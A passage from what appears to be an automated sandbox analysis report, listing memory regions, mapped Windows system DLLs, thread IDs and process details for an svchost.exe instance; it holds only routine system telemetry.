(normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 4298 start_va = 0xf10d9c0000 end_va = 0xf10d9d0fff entry_point = 0xf10d9c0000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 4299 start_va = 0x7ffd18560000 end_va = 0x7ffd1867efff entry_point = 0x7ffd18560000 region_type = mapped_file name = "windows.globalization.dll" filename = "\\Windows\\System32\\Windows.Globalization.dll" (normalized: "c:\\windows\\system32\\windows.globalization.dll") Region: id = 4300 start_va = 0x7ffd18530000 end_va = 0x7ffd1855afff entry_point = 0x7ffd18530000 region_type = mapped_file name = "globinputhost.dll" filename = "\\Windows\\System32\\globinputhost.dll" (normalized: "c:\\windows\\system32\\globinputhost.dll") Region: id = 4301 start_va = 0xf10d9e0000 end_va = 0xf10ded1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d9e0000" filename = "" Region: id = 4302 start_va = 0xf10dee0000 end_va = 0xf10ed4ffff entry_point = 0xf10dee0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 4303 start_va = 0x7ffd184c0000 end_va = 0x7ffd18521fff entry_point = 0x7ffd184c0000 region_type = mapped_file name = "ninput.dll" filename = "\\Windows\\System32\\ninput.dll" (normalized: "c:\\windows\\system32\\ninput.dll") Region: id = 4305 start_va = 0xf10ed50000 end_va = 0xf10edcafff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10ed50000" filename = "" Region: id = 6086 start_va = 0xf10d280000 end_va = 0xf10d281fff entry_point = 0x0 region_type = private name = "private_0x000000f10d280000" filename = "" Region: id = 6087 start_va = 0xf10d390000 end_va = 0xf10d391fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d390000" filename = "" Region: id = 6134 start_va = 0xf10d3d0000 end_va = 0xf10d3d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d3d0000" filename = "" Region: id = 6135 start_va = 0xf10d790000 end_va = 0xf10d7b6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d790000" filename = "" Region: id = 6136 start_va = 0xf10d840000 end_va = 0xf10d86afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d840000" filename = "" Region: id = 6137 start_va = 0xf10d870000 end_va = 0xf10d8eafff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d870000" filename = "" Region: id = 6138 start_va = 0xf10d9e0000 end_va = 0xf10da5afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d9e0000" filename = "" Region: id = 6140 start_va = 0x7ffd1aac0000 end_va = 0x7ffd1ab3bfff entry_point = 0x7ffd1aac0000 region_type = mapped_file name = "van.dll" filename = "\\Windows\\System32\\VAN.dll" (normalized: "c:\\windows\\system32\\van.dll") Thread: id = 275 os_tid = 0x2a0 Thread: id = 277 os_tid = 0x2ac Thread: id = 278 os_tid = 0x2b0 Thread: id = 279 os_tid = 0x2b4 Thread: id = 281 os_tid = 0x2b8 Thread: id = 282 os_tid = 0x2bc Thread: id = 283 os_tid = 0x2c0 Thread: id = 284 os_tid = 0x2c4 Thread: id = 336 os_tid = 0x3a0 Thread: id = 337 os_tid = 0x3a4 Thread: id = 341 os_tid = 0x3b4 Thread: id = 343 os_tid = 0x3bc Thread: id = 346 os_tid = 0x3c8 Process: id = "45" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x65cab000" os_pid = "0x304" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a950" [0xc000000f], "LOCAL" [0x7] Region: id = 3769 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3770 start_va = 0x788fdf0000 end_va = 0x788fe0ffff entry_point = 0x0 region_type = private name = "private_0x000000788fdf0000" filename = "" Region: id = 3771 start_va = 0x788fe10000 end_va = 0x788fe1efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000788fe10000" filename = "" Region: id = 3772 start_va = 0x788fe20000 end_va = 0x788fe9ffff entry_point = 0x0 region_type = private name = "private_0x000000788fe20000" filename = "" Region: id = 3773 start_va = 0x788fea0000 end_va = 0x788fea3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000788fea0000" filename = "" Region: id = 3774 start_va = 0x7ff617e80000 end_va = 0x7ff617ea2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617e80000" filename = "" Region: id = 3775 start_va = 0x7ff617ead000 end_va = 0x7ff617eadfff entry_point = 0x0 region_type = private name = "private_0x00007ff617ead000" filename = "" Region: id = 3776 start_va = 0x7ff617eae000 end_va = 0x7ff617eaffff entry_point = 0x0 region_type = private name = "private_0x00007ff617eae000" filename = "" Region: id = 3777 start_va = 0x7ff618320000 end_va = 0x7ff61832bfff entry_point = 0x7ff61832218c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3778 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3779 start_va = 0x788feb0000 end_va = 0x788feb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000788feb0000" filename = "" Region: id = 3780 start_va = 0x788fec0000 end_va = 0x788fec1fff entry_point = 0x0 region_type = private name = "private_0x000000788fec0000" filename = "" Region: id = 3781 start_va = 0x788ff60000 end_va = 0x789005ffff entry_point = 0x0 region_type = private name = "private_0x000000788ff60000" filename = "" Region: id = 3782 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3783 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3784 start_va = 0x788fdf0000 end_va = 0x788fdfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000788fdf0000" filename = "" Region: id = 3785 start_va = 0x7ff617d80000 end_va = 0x7ff617e7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617d80000" filename = "" Region: id = 3786 start_va = 0x788fed0000 end_va = 0x788ff4dfff entry_point = 0x788fed0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3787 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3788 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3789 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3790 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3791 start_va = 0x7890060000 end_va = 0x78901affff entry_point = 0x0 region_type = private name = "private_0x0000007890060000" filename = "" Region: id = 3792 start_va = 0x788fe00000 end_va = 0x788fe06fff entry_point = 0x0 region_type = private name = "private_0x000000788fe00000" filename = "" Region: id = 3793 start_va = 0x7890060000 end_va = 0x7890119fff entry_point = 0x789008c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3794 start_va = 0x78901a0000 end_va = 0x78901affff entry_point = 0x0 region_type = private name = "private_0x00000078901a0000" filename = "" Region: id = 3795 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3796 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3797 start_va = 0x788ff50000 end_va = 0x788ff56fff entry_point = 0x0 region_type = private name = "private_0x000000788ff50000" filename = "" Region: id = 3798 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3799 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3800 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3801 start_va = 0x7890060000 end_va = 0x789011ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007890060000" filename = "" Region: id = 3802 start_va = 0x78901b0000 end_va = 0x7890337fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000078901b0000" filename = "" Region: id = 3803 start_va = 0x7890340000 end_va = 0x78904c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007890340000" filename = "" Region: id = 3804 start_va = 0x7890120000 end_va = 0x7890122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007890120000" filename = "" Region: id = 3805 start_va = 0x7890130000 end_va = 0x7890130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007890130000" filename = "" Region: id = 3806 start_va = 0x7890140000 end_va = 0x7890140fff entry_point = 0x0 region_type = private name = "private_0x0000007890140000" filename = "" Region: id = 3807 start_va = 0x7890150000 end_va = 0x7890150fff entry_point = 0x0 region_type = private name = "private_0x0000007890150000" filename = "" Region: id = 3808 start_va = 0x78904d0000 end_va = 0x78908c9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000078904d0000" filename = "" Region: id = 3809 start_va = 0x78908d0000 end_va = 0x789094ffff entry_point = 0x0 region_type = private name = "private_0x00000078908d0000" filename = "" Region: id = 3810 start_va = 0x7890950000 end_va = 0x78909cffff entry_point = 0x0 region_type = private name = "private_0x0000007890950000" filename = "" Region: id = 3811 start_va = 0x7ff617ea9000 end_va = 0x7ff617eaafff entry_point = 0x0 region_type = private name = "private_0x00007ff617ea9000" filename = "" Region: id = 3812 start_va = 0x7ff617eab000 end_va = 0x7ff617eacfff entry_point = 0x0 region_type = private name = "private_0x00007ff617eab000" filename = "" Region: id = 3813 start_va = 0x78909d0000 end_va = 0x7890ca4fff entry_point = 0x78909d0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3814 start_va = 0x7ffd19650000 end_va = 0x7ffd197eafff entry_point = 0x7ffd19650000 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 3815 start_va = 0x7890cb0000 end_va = 0x7890d97fff entry_point = 0x0 region_type = private name = "private_0x0000007890cb0000" filename = "" Region: id = 3816 start_va = 0x7890160000 end_va = 0x7890166fff entry_point = 0x0 region_type = private name = "private_0x0000007890160000" filename = "" Region: id = 3817 start_va = 0x7890da0000 end_va = 0x7890e9ffff entry_point = 0x0 region_type = private name = "private_0x0000007890da0000" filename = "" Region: id = 3818 start_va = 0x7890170000 end_va = 0x7890171fff entry_point = 0x7890170000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 3819 start_va = 0x7890180000 end_va = 0x7890187fff entry_point = 0x7890180000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 3820 start_va = 0x7890170000 end_va = 0x7890171fff entry_point = 0x7890170000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 3821 start_va = 0x7890180000 end_va = 0x7890187fff entry_point = 0x7890180000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 3822 start_va = 0x7890cb0000 end_va = 0x7890d2ffff entry_point = 0x0 region_type = private name = "private_0x0000007890cb0000" filename = "" Region: id = 3823 start_va = 0x7890d90000 end_va = 0x7890d97fff entry_point = 0x0 region_type = private name = "private_0x0000007890d90000" filename = "" Region: id = 3824 start_va = 0x7890ea0000 end_va = 0x7890f06fff entry_point = 0x7890ea0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3825 start_va = 0x7ff617ea7000 end_va = 0x7ff617ea8fff entry_point = 0x0 region_type = private name = "private_0x00007ff617ea7000" filename = "" Region: id = 3826 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3827 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3828 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3829 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3830 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3831 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3832 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3833 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3834 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3835 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3836 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3837 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3852 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3853 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3854 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3855 start_va = 0x7890f10000 end_va = 0x7890f8ffff entry_point = 0x0 region_type = private name = "private_0x0000007890f10000" filename = "" Region: id = 3856 start_va = 0x7ff617ea5000 end_va = 0x7ff617ea6fff entry_point = 0x0 region_type = private name = "private_0x00007ff617ea5000" filename = "" Region: id = 3857 start_va = 0x7ffd1bea0000 end_va = 0x7ffd1bec2fff entry_point = 0x7ffd1bea10a0 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3886 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3887 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3888 start_va = 0x7890f90000 end_va = 0x789100ffff entry_point = 0x0 region_type = private name = "private_0x0000007890f90000" filename = "" Region: id = 3889 start_va = 0x7ff617ea3000 end_va = 0x7ff617ea4fff entry_point = 0x0 region_type = private name = "private_0x00007ff617ea3000" filename = "" Region: id = 3890 start_va = 0x7891010000 end_va = 0x789108ffff entry_point = 0x0 region_type = private name = "private_0x0000007891010000" filename = "" Region: id = 3891 start_va = 0x7ff617d7e000 end_va = 0x7ff617d7ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617d7e000" filename = "" Region: id = 3892 start_va = 0x7ffd195b0000 end_va = 0x7ffd195dffff entry_point = 0x7ffd195b0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3893 start_va = 0x7890170000 end_va = 0x7890170fff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3894 start_va = 0x7890170000 end_va = 0x789018ffff entry_point = 0x0 region_type = private name = "private_0x0000007890170000" filename = "" Region: id = 3895 start_va = 0x7890190000 end_va = 0x7890190fff entry_point = 0x0 region_type = private name = "private_0x0000007890190000" filename = "" Region: id = 3896 start_va = 0x7890d30000 end_va = 0x7890d4ffff entry_point = 0x0 region_type = private name = "private_0x0000007890d30000" filename = "" Region: id = 3902 start_va = 0x7890d50000 end_va = 0x7890d6ffff entry_point = 0x7890d50000 region_type = mapped_file name = "microsoft-windows-kernel-power-events.dll" filename = "\\Windows\\System32\\microsoft-windows-kernel-power-events.dll" (normalized: "c:\\windows\\system32\\microsoft-windows-kernel-power-events.dll") Region: id = 3903 start_va = 0x7890190000 end_va = 0x7890190fff entry_point = 0x0 region_type = private name = "private_0x0000007890190000" filename = "" Region: id = 3904 start_va = 0x7891090000 end_va = 0x789110ffff entry_point = 0x0 region_type = private name = "private_0x0000007891090000" filename = "" Region: id = 3905 start_va = 0x7ff617d7c000 end_va = 0x7ff617d7dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d7c000" filename = "" Region: id = 3906 start_va = 0x7890190000 end_va = 0x7890190fff entry_point = 0x0 region_type = private name = "private_0x0000007890190000" filename = "" Region: id = 3907 start_va = 0x7891110000 end_va = 0x789118ffff entry_point = 0x0 region_type = private name = "private_0x0000007891110000" filename = "" Region: id = 3908 start_va = 0x7ff617d7a000 end_va = 0x7ff617d7bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d7a000" filename = "" Region: id = 3909 start_va = 0x7890190000 end_va = 0x7890190fff entry_point = 0x0 region_type = private name = "private_0x0000007890190000" filename = "" Region: id = 3910 start_va = 0x7890950000 end_va = 0x789096ffff entry_point = 0x0 region_type = private name = "private_0x0000007890950000" filename = "" Region: id = 3911 start_va = 0x7890190000 end_va = 0x7890190fff entry_point = 0x0 region_type = private name = "private_0x0000007890190000" filename = "" Region: id = 3912 start_va = 0x7890970000 end_va = 0x789098ffff entry_point = 0x0 region_type = private name = "private_0x0000007890970000" filename = "" Region: id = 3924 start_va = 0x7891190000 end_va = 0x78911edfff entry_point = 0x7891190000 region_type = mapped_file name = "wcmsvc.dll" filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll") Region: id = 3925 start_va = 0x7891190000 end_va = 0x7891243fff entry_point = 0x7891190000 region_type = mapped_file name = "adtschema.dll" filename = "\\Windows\\System32\\adtschema.dll" (normalized: "c:\\windows\\system32\\adtschema.dll") Region: id = 3926 start_va = 0x7891250000 end_va = 0x789134ffff entry_point = 0x0 region_type = private name = "private_0x0000007891250000" filename = "" Region: id = 3927 start_va = 0x7891190000 end_va = 0x7891245fff entry_point = 0x789119109c region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 3928 start_va = 0x7890990000 end_va = 0x78909cbfff entry_point = 0x7890990000 region_type = mapped_file name = "microsoft-windows-system-events.dll" filename = "\\Windows\\System32\\microsoft-windows-system-events.dll" (normalized: "c:\\windows\\system32\\microsoft-windows-system-events.dll") Region: id = 3929 start_va = 0x7890990000 end_va = 0x78909cbfff entry_point = 0x7890990000 region_type = mapped_file name = "microsoft-windows-system-events.dll" filename = "\\Windows\\System32\\microsoft-windows-system-events.dll" (normalized: "c:\\windows\\system32\\microsoft-windows-system-events.dll") Region: id = 3930 start_va = 0x7890990000 end_va = 0x78909cbfff entry_point = 0x7890990000 region_type = mapped_file name = "microsoft-windows-system-events.dll" filename = "\\Windows\\System32\\microsoft-windows-system-events.dll" (normalized: "c:\\windows\\system32\\microsoft-windows-system-events.dll") Region: id = 3932 start_va = 0xfdf0000 end_va = 0xffe5fff entry_point = 0xfe19ad0 region_type = mapped_file name = "ntfs.sys" filename = "\\Windows\\System32\\drivers\\ntfs.sys" (normalized: "c:\\windows\\system32\\drivers\\ntfs.sys") Region: id = 3933 start_va = 0x7890990000 end_va = 0x78909a4fff entry_point = 0x7890990000 region_type = mapped_file name = "pshed.dll" filename = "\\Windows\\System32\\PSHED.DLL" (normalized: "c:\\windows\\system32\\pshed.dll") Region: id = 3934 start_va = 0x7890990000 end_va = 0x78909a0fff entry_point = 0x7890990000 region_type = mapped_file name = "microsoft-windows-kernel-processor-power-events.dll" filename = "\\Windows\\System32\\microsoft-windows-kernel-processor-power-events.dll" (normalized: "c:\\windows\\system32\\microsoft-windows-kernel-processor-power-events.dll") Region: id = 4024 start_va = 0x7891350000 end_va = 0x789148dfff entry_point = 0x7891350000 region_type = mapped_file name = "comres.dll" filename = "\\Windows\\System32\\comres.dll" (normalized: "c:\\windows\\system32\\comres.dll") Region: id = 4025 start_va = 0x7891490000 end_va = 0x789168ffff entry_point = 0x0 region_type = private name = "private_0x0000007891490000" filename = "" Region: id = 4119 start_va = 0x7891690000 end_va = 0x78917d6fff entry_point = 0x789169107c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 4234 start_va = 0x7891190000 end_va = 0x789120ffff entry_point = 0x0 region_type = private name = "private_0x0000007891190000" filename = "" Region: id = 4235 start_va = 0x7ff617ea9000 end_va = 0x7ff617eaafff entry_point = 0x0 region_type = private name = "private_0x00007ff617ea9000" filename = "" Region: id = 4236 start_va = 0x7ffd18c30000 end_va = 0x7ffd18d02fff entry_point = 0x7ffd18c30000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 4249 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4250 start_va = 0x7ffd1bed0000 end_va = 0x7ffd1bedcfff entry_point = 0x7ffd1bed107c region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 4251 start_va = 0x7ffd1ade0000 end_va = 0x7ffd1ae40fff entry_point = 0x7ffd1adf32c8 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 4252 start_va = 0x7ffd19d70000 end_va = 0x7ffd19d7afff entry_point = 0x7ffd19d71010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 4253 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 4254 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4255 start_va = 0x7891690000 end_va = 0x7891806fff entry_point = 0x78916910b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4268 start_va = 0x7890990000 end_va = 0x78909cafff entry_point = 0x789099cabc region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 4269 start_va = 0x7890190000 end_va = 0x7890190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007890190000" filename = "" Region: id = 4270 start_va = 0x7891350000 end_va = 0x78913cffff entry_point = 0x0 region_type = private name = "private_0x0000007891350000" filename = "" Region: id = 4271 start_va = 0x7ff617d78000 end_va = 0x7ff617d79fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d78000" filename = "" Region: id = 4272 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4273 start_va = 0x7890990000 end_va = 0x7890990fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007890990000" filename = "" Region: id = 4274 start_va = 0x7891190000 end_va = 0x789120ffff entry_point = 0x0 region_type = private name = "private_0x0000007891190000" filename = "" Region: id = 4275 start_va = 0x7ff617ea9000 end_va = 0x7ff617eaafff entry_point = 0x0 region_type = private name = "private_0x00007ff617ea9000" filename = "" Region: id = 4276 start_va = 0x78909a0000 end_va = 0x78909a0fff entry_point = 0x0 region_type = private name = "private_0x00000078909a0000" filename = "" Region: id = 4277 start_va = 0x78909b0000 end_va = 0x78909b0fff entry_point = 0x0 region_type = private name = "private_0x00000078909b0000" filename = "" Region: id = 4295 start_va = 0x78909c0000 end_va = 0x78909c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000078909c0000" filename = "" Region: id = 4296 start_va = 0x78913d0000 end_va = 0x789144ffff entry_point = 0x0 region_type = private name = "private_0x00000078913d0000" filename = "" Region: id = 4297 start_va = 0x7ff617d76000 end_va = 0x7ff617d77fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d76000" filename = "" Region: id = 4304 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4315 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f71080 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: 